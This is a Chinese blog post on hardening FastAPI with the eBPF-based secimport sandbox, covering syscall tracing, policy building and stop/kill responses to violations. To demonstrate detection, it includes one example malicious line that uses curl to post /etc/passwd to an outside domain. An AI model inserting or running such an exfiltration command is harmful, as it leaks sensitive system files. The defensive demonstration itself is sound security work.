使用eBPF技术加固FastAPI安全:实战系统调用监控与攻击拦截

本文详细介绍了如何利用eBPF技术通过secimport工具对Python应用进行运行时安全防护,包括系统调用追踪、沙箱策略构建、远程代码执行防护,并演示了FastAPI应用的安全加固实践。

使用eBPF保护FastAPI安全

利用eBPF保护面向互联网的API:FastAPI、BlackSheep、Flask、Django、aiohttp、Tornado等。

在之前的文章中,我使用secimport保护了PyTorch代码,展示了如何在不安全来源的PyTorch模型在任何Linux机器上安全评估。

目录

  • API安全概述
  • 如何同时追踪Python和系统调用?
  • Secimport介绍
  • 使用secimport阻断攻击
  • FastAPI沙箱示例:阻断RCE(远程代码执行)
  • 使用–kill_on_violation和–stop_on_violation进行主动响应
  • 结论

为什么需要保护API?

FastAPI拥有约24万行代码。API应独立于操作系统运行,避免依赖操作系统内存或文件系统(在大多数情况下)。API被设计为无状态、直接且不复杂,包含应用接口和数据库操作,需要大规模持续通信。

对黑客而言,API因其宽松的一体化特性和重大影响而成为有价值的目标。它们的主要角色是通过TCP应用协议处理请求并返回各种状态码(指示成功或错误)。

依赖项中的漏洞

2022年,log4shell暴露了一个关键问题。Log4j这个用于日志记录的工具,通过大多数面向互联网的Java服务器中的HTTP头解析漏洞被利用。该漏洞允许攻击者打开本地LDAP服务器并在目标HTTP服务器上执行命令。这引发了一个问题:为什么日志记录库应该具备网络连接和在主机上执行命令的能力?这些功能应仅显式启用,而非默认开启。

PyPi中恶意包的便利性

2023年,pypi.org(Python包索引)因安全事件数量超过审核流程而不得不暂时关闭。虽然我们仔细选择依赖项,但不应该犹豫使用它们。依赖项不应具备未经显式许可进行网络连接或运行进程的能力。Python代码可以在安装、导入和运行时执行任意代码。

解释器的主导地位(“解释器为王”)

Python缺乏强大的权限管理是一个问题。由于共享内存(sys.modules)、线程等因素,管理代码中的每个模块可能具有挑战性。

虽然有些人可能持不同意见,但我认为明确定义的能力使程序更可预测。

实时追踪Python系统调用

在第一篇博客文章(第1部分)中,我探索了各种追踪工具。我曾在Mac和Windows上使用DTrace进行追踪和运行时,但我渴望一个更好的解决方案,即仅适用于Linux并使用eBPF。

我将bpftrace集成到secimport中,这是一个基于eBPF+LLVM的工具包。bpftrace因其快速学习曲线和稳健性而成为最佳选择。

bpftrace真正卓越之处在于其利用LLVM将用bpftrace语言编写的高级用户定义脚本编译为高效BPF代码的能力。结果令人印象深刻!

Secimport

由eBPF驱动的secimport通过为Python提供安全沙箱来解决这些问题。使用secimport,可以为代码中的每个模块指定特定的系统调用,以极低的成本在运行时保护环境。

使用USDT和内核探针,secimport追踪并保护Python运行时。它使开发人员能够重新控制包操作并保护其代码。

让我们在主机上安装secimport(本例中为Linux):

1
$ pip install secimport

可用的secimport命令包括:

  • secimport trace:通过运行Python程序或指定运行进程ID来追踪其行为。系统调用按模块记录到文件中。
  • secimport trace_pid:通过PID追踪运行进程。
  • secimport build:从追踪记录构建新的沙箱环境。
  • secimport run:在沙箱环境中运行Python进程。
  • secimport interactive:通过记录Python解释器行为创建新的定制沙箱(交互式)。适用于小段代码和评估。它实际上按顺序运行secimport tracesecimport buildsecimport run

从头创建新的secimport沙箱

要从头创建新的沙箱环境,可以使用docker容器:

1
2
3
4
git clone https://github.com/avilum/secimport.git
cd docker
./build.sh # 构建bpftrace docker,以支持现有内核(也支持Mac)
./run.sh   # 启动新的临时容器

可以使用secimport interactive开始构建沙箱:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
root@1fa3d6f09989:/workspace# secimport interactive
- 将打开一个python shell
- 行为将被记录
确定?(y): y
追踪中: ['/workspace/secimport/profiles/trace.bt', '-c', '/workspace/Python-3.10.0/python', '-o', 'trace.log']
                        按CTRL+D停止追踪;
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> exit()
$ secimport build
eBPF沙箱: sandbox.bt
$ secimport run
Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import this
>>> import os
[SECIMPORT违规]: <stdin> 在深度0调用了系统调用ioctl
[SECIMPORT违规]: <stdin> 在深度0调用了系统调用ioctl

STOP和KILL标志

使用–stop_on_violation和–kill_on_violation阻止执行

如果你知道自己在做什么,并且定义了足够好的策略,我鼓励你使用这两个非常有用的标志:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@1bc0531d91d0:/workspace# secimport run --stop_on_violation
>>> import os
>>> os.system('ps')
[安全策略违规]: <stdin> 在深度8022调用了系统调用56
^^^ 由于系统调用违规停止进程85918 ^^^
进程85918已停止。

root@ee4bc99bb011:/workspace# secimport run --kill_on_violation
>>> import os
>>> os.system('ps')
[安全策略违规]: <stdin> 在深度8022调用了系统调用56
^^^ 由于系统调用违规杀死进程86466 ^^^ 已杀死。沙箱退出;

如何保护API免受远程代码执行?

让我们尝试保护给定代码免受此类场景影响。我将快速使用FastAPI程序作为示例(来自他们的快速入门):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from fastapi import FastAPI
import uvicorn

app = FastAPI()

@app.get("/")
async def root():
    return {"message": "Hello World"}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

步骤1:追踪你的应用

可以使用以下方法之一追踪Python应用:

  • secimport trace将使用eBPF追踪脚本运行你的应用以追踪系统调用:
    1
    
    secimport trace main.py
    
  • secimport trace_pid将追踪事先启动的运行进程:
    1
    
    secimport trace_pid 28 # 其中28是已运行的python进程
    
  • secimport interactive可以追踪交互式shell,适用于中小型代码片段(而不是像main.py这样的入口点):
    1
    2
    3
    4
    5
    6
    
    root@0584e98a4b5c:/workspace# secimport interactive
    让我们用secimport创建第一个定制沙箱!
    - 将打开一个python shell
    - 行为将被记录
    确定?(y): y
    ...
    

高测试覆盖率有帮助,因为我们可以运行测试套件,如果逻辑被覆盖,期望相同的系统调用。

你也可以使用eBPF安全地在生产环境中记录行为,使用secimport trace_pid 123。它附加到运行进程,能够记录所有系统调用,按代码中的模块。

我们已经追踪了程序。让我们从这个追踪构建沙箱!

步骤2:从追踪创建YAML/JSON策略

我们构建一个bpftrace脚本,该脚本被转换为监督进程的eBPF代码:

1
secimport build <flags>

步骤3:在eBPF沙箱内运行Python应用

1
secimport run main.py <flags>

处理违规

我们使用secimport运行main.py,它运行良好。让我们看看如果添加以下恶意行会发生什么:

1
2
3
4
@app.get("/")
async def root():
+++ import os;os.system("curl -X POST -d "$(cat /etc/passwd)" mydomain.com')
    return {"message": "Hello World"}

默认情况下,secimport将记录违规——因为我们使用"os.system"运行命令。

如果我们想在检测到违规时终止或停止应用,secimport可以向监督的子进程发送信号——SIGSTOP或SIGTERM,就在系统调用实际执行之前!

secimport能够干扰进程并在违反定义的策略时阻止它。

违规时停止进程

1
2
3
4
5
6
7
8
root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --stop_on_violation
[警告]: 此沙箱将在违规时向程序发送SIGSTOP。
INFO:     启动服务器进程[93]
INFO:     等待应用启动。
INFO:     应用启动完成。
INFO:     Uvicorn运行在 http://0.0.0.0:8000 (按CTRL+C退出)
|[安全策略违规]: /workspace/main.py 在深度174387调用了系统调用56
^^^ 由于系统调用违规停止进程2446 ^^^ 进程2446已停止。

如日志所示——通过向"secimport run"添加"–stop_on_violation"标志,沙箱停止了进程,根本没有发送HTTP响应:页面未加载!空响应。这是我们预期的,因为策略被违反了。

违规时杀死进程

如果我们想杀死进程而不是停止它怎么办?

1
2
3
4
5
6
7
8
root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --kill_on_violation
[警告]: 此沙箱将在违规时向程序发送SIGKILL。
INFO:     启动服务器进程[100]
INFO:     等待应用启动。
INFO:     应用启动完成。
INFO:     Uvicorn运行在 http://0.0.0.0:8000 (按CTRL+C退出)
[安全策略违规]: /workspace/main.py 在深度173398调用了系统调用56
^^^ 由于系统调用违规杀死进程2455 ^^^ 已杀死。沙箱退出;

进程按预期被杀死。在我看来这太棒了!

如何处理错误?

我建议有一个宽限期,其中所有"错误"都被记录而不是主动响应——这是默认行为。如果你知道自己在做什么,并且覆盖了所有想要允许的用例,使用stop_on_violation或kill_on_violation不安全标志来阻止攻击,而不是记录它们。

结论

想象一下在每个Python存储库中都有一个公共的"capabilities.txt"文件,定义模块可以执行的系统调用。

当然,当前解释器不支持这一点,但这种精确的规范将阐明模块的行为,不留歧义空间。

程序员应该清楚了解其代码的操作,包括网络通信、文件系统访问、sudo权限、套接字绑定、进程管理(fork/spawn)、内存操作(mmap、unshare、shm)等。

第1部分:在代码中沙箱化Python模块 第2部分:使用eBPF保护PyTorch模型

源代码和示例:https://github.com/avilum/secimport

顺便说一句,我在业余时间做这个。我也真的很喜欢咖啡!

Avi在业余时间让互联网更安全 我是一名商业导向的工程师,热爱安全和AI,具有深刻的安全洞察力。我喜欢攻击云… www.buymeacoffee.com

查看我之前的发布: 使用eBPF保护PyTorch模型 我如何在AWS上发现数千个开放数据库 10分钟内实现Google网络钓鱼POC:ɢoogletranslate.com 通过客户端端口扫描识别网站用户——使用WebAssembly和Go Facebook知道你吃什么:逐步发现Facebook收集的关于你的所有数据

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计